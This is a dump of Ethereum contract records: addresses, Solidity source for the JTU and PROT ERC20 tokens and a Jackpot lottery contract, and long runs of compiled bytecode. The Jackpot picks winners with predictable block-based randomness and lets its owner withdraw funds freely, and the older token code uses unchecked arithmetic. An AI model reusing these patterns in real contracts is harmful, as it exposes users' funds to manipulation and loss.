9cb565b915061255382612ee5565b604082019050919050565b600061256b6020836129cb565b915061257682612f34565b602082019050919050565b600061258e601b836129cb565b915061259982612f5d565b602082019050919050565b60006125b16000836129a9565b91506125bc82612f86565b600082019050919050565b60006125d4601d836129cb565b91506125df82612f89565b602082019050919050565b60006125f7602d836129cb565b915061260282612fb2565b604082019050919050565b6000604083016000830151848203600086015261262a82826123f6565b915050602083015161263f6020860182612345565b508091505092915050565b6000604083016000830151848203600086015261266782826123f6565b915050602083015161267c6020860182612345565b508091505092915050565b61269081612c93565b82525050565b60006126a28284612468565b915081905092915050565b60006126b98284612499565b915081905092915050565b60006020820190506126d96000830184612354565b92915050565b60006020820190506126f46000830184612336565b92915050565b600060808201905061270f6000830186612354565b61271c6020830185612354565b6127296040830184612687565b818103606083015261273a816125a4565b9050949350505050565b6000602082019050818103600083015261275e8184612363565b905092915050565b600060208201905061277b60008301846123d8565b92915050565b600060208201905061279660008301846123e7565b92915050565b600060408201905081810360008301526127b6818561242f565b90506127c56020830184612354565b9392505050565b600060208201905081810360008301526127e581612518565b9050919050565b600060208201905081810360008301526128058161253b565b9050919050565b600060208201905081810360008301526128258161255e565b9050919050565b6000602082019050818103600083015261284581612581565b9050919050565b60006020820190508181036000830152612865816125c7565b9050919050565b60006020820190508181036000830152612885816125ea565b9050919050565b600060208201905081810360008301526128a6818461264a565b905092915050565b60006020820190506128c36000830184612687565b92915050565b60006128d36128e4565b90506128df8282612d11565b919050565b6000604051905090565b600067ffffffffffffffff82111561290957612908612e49565b5b61291282612e78565b9050602081019050919050565b600067ffffffffffffffff82111561293a57612939612e49565b5b61294382612e78565b9050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b60006129f282612c93565b91506129fd83612c93565b925082612a0d57612a0c612deb565b5b828204905092915050565b6000808291508390505b6001851115612a6257808604811115612a3e57612a3d612dbc565b5b6001851615612a4d5780820291505b8081029050612a5b85612e89565b9450612a22565b94509492505050565b6000612a7682612c93565b9150612a8183612c93565b9250612aae7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612ab6565b905092915050565b600082612ac65760019050612b82565b81612ad45760009050612b82565b8160018114612aea5760028114612af457612b23565b6001915050612b82565b60ff841115612b0657612b05612dbc565b5b8360020a915084821115612b1d57612b1c612dbc565b5b50612b82565b5060208310610133831016604e8410600b8410161715612b585782820a905083811115612b5357612b52612dbc565b5b612b82565b612b658484846001612a18565b92509050818404811115612b7c57612b7b612dbc565b5b81810290505b9392505050565b6000612b9482612c93565b9150612b9f83612c93565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612bd857612bd7612dbc565b5b828202905092915050565b6000612bee82612c93565b9150612bf983612c93565b925082821015612c0c57612c0b612dbc565b5b828203905092915050565b6000612c2282612c73565b9050919050565b6000612c3482612c73565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015612cca578082015181840152602081019050612caf565b83811115612cd9576000848401525b50505050565b60006002820490506001821680612cf757607f821691505b60208210811415612d0b57612d0a612e1a565b5b50919050565b612d1a82612e78565b810181811067ffffffffffffffff82111715612d3957612d38612e49565b5b80604052505050565b6000612d4d82612c93565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612d8057612d7f612dbc565b5b600182019050919050565b6000612d9682612c93565b9150612da183612c93565b925082612db157612db0612deb565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f552043484f534520412043484152495459205448415420444f45534e2754204560008201527f5849535400000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f594f5520484156454e2754205041494420454e4f554748204c4f4c0000000000600082015250565b50565b7f53414c45204841534e27542053544152544544204f5220504155534544000000600082015250565b7f594f552052455155455354454420412043484152495459204f5554534944452060008201527f5448452052414e47452050414c00000000000000000000000000000000000000602082015250565b61300a81612c17565b811461301557600080fd5b50565b61302181612c29565b811461302c57600080fd5b50565b61303881612c93565b811461304357600080fd5b5056fea26469706673582212209c6062c3002204744511a353a49a0a3877403e61bb6587d6431a6e8f662ae99864736f6c63430008040033
[ 10 ]
0xf3757c2fa6fe4208383c407220d935680aa3f710
// Abstract contract for the full ERC 20 Token standard //@ create by JTU David.Wang pragma solidity ^0.4.8; contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /* You should inherit from StandardToken or, for a token like you would want to deploy in something like Mist, see WalStandardToken.sol. (This implements ONLY the standard functions and NOTHING else. If you deploy this, you won't have anything useful.) Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/issues/20 .*/ contract StandardToken is Token { function transfer(address _to, uint256 _value) public returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract JTU is StandardToken { /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = "P0.1"; //human 0.1 standard. Just an arbitrary versioning scheme. function JTU() { balances[msg.sender] = 50000000000000000; // Give the creator all initial tokens totalSupply = 50000000000000000; // Update total supply name = "JTU alumni association"; // Set the name for display purposes decimals = 6; // Amount of decimals for display purposes symbol = "JTU"; // Set the symbol for display purposes } }
0x6080604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013957806318160ddd1461019e57806323b872dd146101c9578063313ce5671461024e57806354fd4d501461027f57806370a082311461030f57806395d89b4114610366578063a9059cbb146103f6578063dd62ed3e1461045b575b600080fd5b3480156100b557600080fd5b506100be6104d2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fe5780820151818401526020810190506100e3565b50505050905090810190601f16801561012b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014557600080fd5b50610184600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610570565b604051808215151515815260200191505060405180910390f35b3480156101aa57600080fd5b506101b3610662565b6040518082815260200191505060405180910390f35b3480156101d557600080fd5b50610234600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610668565b604051808215151515815260200191505060405180910390f35b34801561025a57600080fd5b506102636108e4565b604051808260ff1660ff16815260200191505060405180910390f35b34801561028b57600080fd5b506102946108f7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102d45780820151818401526020810190506102b9565b50505050905090810190601f1680156103015780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561031b57600080fd5b50610350600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610995565b6040518082815260200191505060405180910390f35b34801561037257600080fd5b5061037b6109de565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103bb5780820151818401526020810190506103a0565b50505050905090810190601f1680156103e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561040257600080fd5b50610441600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a7c565b604051808215151515815260200191505060405180910390f35b34801561046757600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610be5565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105685780601f1061053d57610100808354040283529160200191610568565b820191906000526020600020905b81548152906001019060200180831161054b57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610735575081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156107415750600082115b156108d85781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190506108dd565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561098d5780601f106109625761010080835404028352916020019161098d565b820191906000526020600020905b81548152906001019060200180831161097057829003601f168201915b505050505081565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a745780601f10610a4957610100808354040283529160200191610a74565b820191906000526020600020905b815481529060010190602001808311610a5757829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610acd5750600082115b15610bda5781600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610bdf565b600090505b92915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a72305820e7289ce817cdd89b17de42284af1f8e271dc9540826aaff0e350472d0e4080ed0029
[ 38 ]
0xf375bb92e24102babfd7a42f06d6e9ea8069b28c
pragma solidity ^0.4.24; import "./Context.sol"; import "./ERC20.sol"; import "./ERC20Detailed.sol"; /** * @title SimpleToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `ERC20` functions. */ contract PROT is Context, ERC20, ERC20Detailed { uint256 public totalSupplyofToken; address private owner; modifier onlyOwner () { require(_msgSender() == owner); _; } /** * @dev Constructor that gives _msgSender() all of existing tokens. */ constructor () public ERC20Detailed("PROT", "prot", 18) { owner = _msgSender(); totalSupplyofToken = 1212000000 * (10 ** uint256(decimals())); _mint(_msgSender(), totalSupplyofToken); } function mint_PROT(uint256 _amount) public onlyOwner { uint256 mint_amount = _amount * (10 ** uint256(decimals())); _mint(_msgSender(), mint_amount); } function burn_PROT(uint256 _amount) public onlyOwner { uint256 burn_amount = _amount * (10 ** uint256(decimals())); _burn(_msgSender(), burn_amount); } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101ca578063231224ef146101f557806323b872dd14610220578063313ce567146102a557806339509351146102d65780634290e1811461033b57806370a082311461036857806395d89b41146103bf578063a457c2d71461044f578063a9059cbb146104b4578063dd62ed3e14610519578063eed93e7314610590575b600080fd5b3480156100e157600080fd5b506100ea6105bd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061065f565b604051808215151515815260200191505060405180910390f35b3480156101d657600080fd5b506101df61067d565b6040518082815260200191505060405180910390f35b34801561020157600080fd5b5061020a610687565b6040518082815260200191505060405180910390f35b34801561022c57600080fd5b5061028b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b3480156102b157600080fd5b506102ba6107aa565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102e257600080fd5b50610321600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c1565b604051808215151515815260200191505060405180910390f35b34801561034757600080fd5b5061036660048036038101908080359060200190929190505050610874565b005b34801561037457600080fd5b506103a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610900565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b506103d4610948565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104145780820151818401526020810190506103f9565b50505050905090810190601f1680156104415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561045b57600080fd5b5061049a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ea565b604051808215151515815260200191505060405180910390f35b3480156104c057600080fd5b506104ff600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610afb565b604051808215151515815260200191505060405180910390f35b34801561052557600080fd5b5061057a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b19565b6040518082815260200191505060405180910390f35b34801561059c57600080fd5b506105bb60048036038101908080359060200190929190505050610ba0565b005b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106555780601f1061062a57610100808354040283529160200191610655565b820191906000526020600020905b81548152906001019060200180831161063857829003601f168201915b5050505050905090565b600061067361066c610c2c565b8484610c34565b6001905092915050565b6000600254905090565b60065481565b600061069a848484610eb5565b61079f846106a6610c2c565b61079a85606060405190810160405280602881526020017f45524332303a207472616e7366657220616d6f756e742065786365656473206181526020017f6c6c6f77616e6365000000000000000000000000000000000000000000000000815250600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610750610c2c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112399092919063ffffffff16565b610c34565b600190509392505050565b6000600560009054906101000a900460ff16905090565b600061086a6107ce610c2c565b8461086585600160006107df610c2c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112fa90919063ffffffff16565b610c34565b6001905092915050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b7610c2c565b73ffffffffffffffffffffffffffffffffffffffff161415156108d957600080fd5b6108e16107aa565b60ff16600a0a820290506108fc6108f6610c2c565b82611384565b5050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109e05780601f106109b5576101008083540402835291602001916109e0565b820191906000526020600020905b8154815290600101906020018083116109c357829003601f168201915b5050505050905090565b6000610af16109f7610c2c565b84610aec85606060405190810160405280602581526020017f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7781526020017f207a65726f00000000000000000000000000000000000000000000000000000081525060016000610a65610c2c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112399092919063ffffffff16565b610c34565b6001905092915050565b6000610b0f610b08610c2c565b8484610eb5565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be3610c2c565b73ffffffffffffffffffffffffffffffffffffffff16141515610c0557600080fd5b610c0d6107aa565b60ff16600a0a82029050610c28610c22610c2c565b826115c5565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610cff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f45524332303a20617070726f76652066726f6d20746865207a65726f2061646481526020017f726573730000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610dca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f45524332303a20617070726f766520746f20746865207a65726f20616464726581526020017f737300000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f80576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f45524332303a207472616e736665722066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561104b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f45524332303a207472616e7366657220746f20746865207a65726f206164647281526020017f657373000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6110fa81606060405190810160405280602681526020017f45524332303a207472616e7366657220616d6f756e742065786365656473206281526020017f616c616e636500000000000000000000000000000000000000000000000000008152506000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112399092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061118d816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112fa90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008084841115839015156112e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156112ae578082015181840152602081019050611293565b50505050905090810190601f1680156112db5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b508385039050809150509392505050565b600080828401905083811015151561137a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561144f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f45524332303a206275726e2066726f6d20746865207a65726f2061646472657381526020017f730000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6114fe81606060405190810160405280602281526020017f45524332303a206275726e20616d6f756e7420657863656564732062616c616e81526020017f63650000000000000000000000000000000000000000000000000000000000008152506000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112399092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115558160025461178290919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561166a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b61167f816002546112fa90919063ffffffff16565b6002819055506116d6816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112fa90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60006117c483836040805190810160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611239565b9050929150505600a165627a7a723058205fe9411aa10aecd7e81fb26702f3875225aa092b09ec735186159023368b252c0029
[ 38 ]
0xf375eccc4e37e0a52da7984a85361b356631d5dd
pragma solidity ^0.4.18; contract Jackpot { uint64 public nextJackpotTime; bool public jackpotPaused; address public owner; uint public jackpotPersent = 100; uint public winnerLimit = 1; uint public JackpotPeriods = 1; address public diceRollAddress; mapping (uint=>address) public winnerHistory; address[] public tempPlayer; event SendJackpotSuccesss(address indexed winner, uint amount, uint JackpotPeriods); event OwnerTransfer(address SentToAddress, uint AmountTransferred); modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyDiceRoll { require(msg.sender == diceRollAddress); _; } modifier jackpotAreActive { require(!jackpotPaused); _; } constructor() public { owner = msg.sender; } function() external payable { } function getWinnerHistory(uint periods) external view returns(address){ return winnerHistory[periods]; } function addPlayer(address add) public onlyDiceRoll jackpotAreActive{ tempPlayer.push(add); } function createWinner() public onlyOwner jackpotAreActive { require(tempPlayer.length > 0); uint random = rand() % tempPlayer.length; address winner = tempPlayer[random]; winnerHistory[JackpotPeriods] = winner; uint64 tmNow = uint64(block.timestamp); nextJackpotTime = tmNow + 72000; tempPlayer.length = 0; sendJackpot(winner, address(this).balance * jackpotPersent / 1000); JackpotPeriods += 1; } function sendJackpot(address winner, uint256 amount) internal { require(address(this).balance > amount); emit SendJackpotSuccesss(winner, amount,JackpotPeriods); winner.transfer(amount); } function seTJackpotPersent(uint newPersent) external onlyOwner{ require(newPersent > 0 && newPersent < 1000); jackpotPersent = newPersent; } function rand() internal view returns (uint256) { return uint256(keccak256(msg.sender, blockhash(block.number - 1), block.coinbase, block.difficulty)); } function ownerPauseJackpot(bool newStatus) public onlyOwner{ jackpotPaused = newStatus; } function ownerSetdiceRollAddress(address add) public onlyOwner { diceRollAddress = add; } function ownerTransferEther(address sendTo, uint amount) public onlyOwner{ sendTo.transfer(amount); emit OwnerTransfer(sendTo, amount); } }
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630509fe28146100e8578063050a2eb414610155578063080b3713146101ac57806320709b35146101c35780632781c3d1146101f2578063435bb6b91461023557806352a08c291461027457806375964b551461029f5780637ac37d581461030c5780638da5cb5b14610359578063911a739e146103b05780639aa99dc8146103db5780639b06e9f51461040a578063b1275f9a14610437578063d34e4b201461047a578063e6f8263e146104e7575b005b3480156100f457600080fd5b5061011360048036038101908080359060200190929190505050610512565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561016157600080fd5b5061016a610550565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101b857600080fd5b506101c1610576565b005b3480156101cf57600080fd5b506101d8610738565b604051808215151515815260200191505060405180910390f35b3480156101fe57600080fd5b50610233600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061074b565b005b34801561024157600080fd5b5061024a6107eb565b604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390f35b34801561028057600080fd5b50610289610804565b6040518082815260200191505060405180910390f35b3480156102ab57600080fd5b506102ca6004803603810190808035906020019092919050505061080a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561031857600080fd5b50610357600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083d565b005b34801561036557600080fd5b5061036e61094f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103bc57600080fd5b506103c5610975565b6040518082815260200191505060405180910390f35b3480156103e757600080fd5b5061040860048036038101908080351515906020019092919050505061097b565b005b34801561041657600080fd5b50610435600480360381019080803590602001909291905050506109f4565b005b34801561044357600080fd5b50610478600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a76565b005b34801561048657600080fd5b506104a560048036038101908080359060200190929190505050610b57565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104f357600080fd5b506104fc610b94565b6040518082815260200191505060405180910390f35b60068181548110151561052157fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008060099054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105d657600080fd5b600060089054906101000a900460ff161515156105f257600080fd5b600060068054905011151561060657600080fd5b600680549050610614610b9a565b81151561061d57fe5b06925060068381548110151561062f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508160056000600354815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055504290506201194081016000806101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060006006816106ef9190610d1d565b50610722826103e86001543073ffffffffffffffffffffffffffffffffffffffff16310281151561071c57fe5b04610c55565b6001600360008282540192505081905550505050565b600060089054906101000a900460ff1681565b600060099054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffff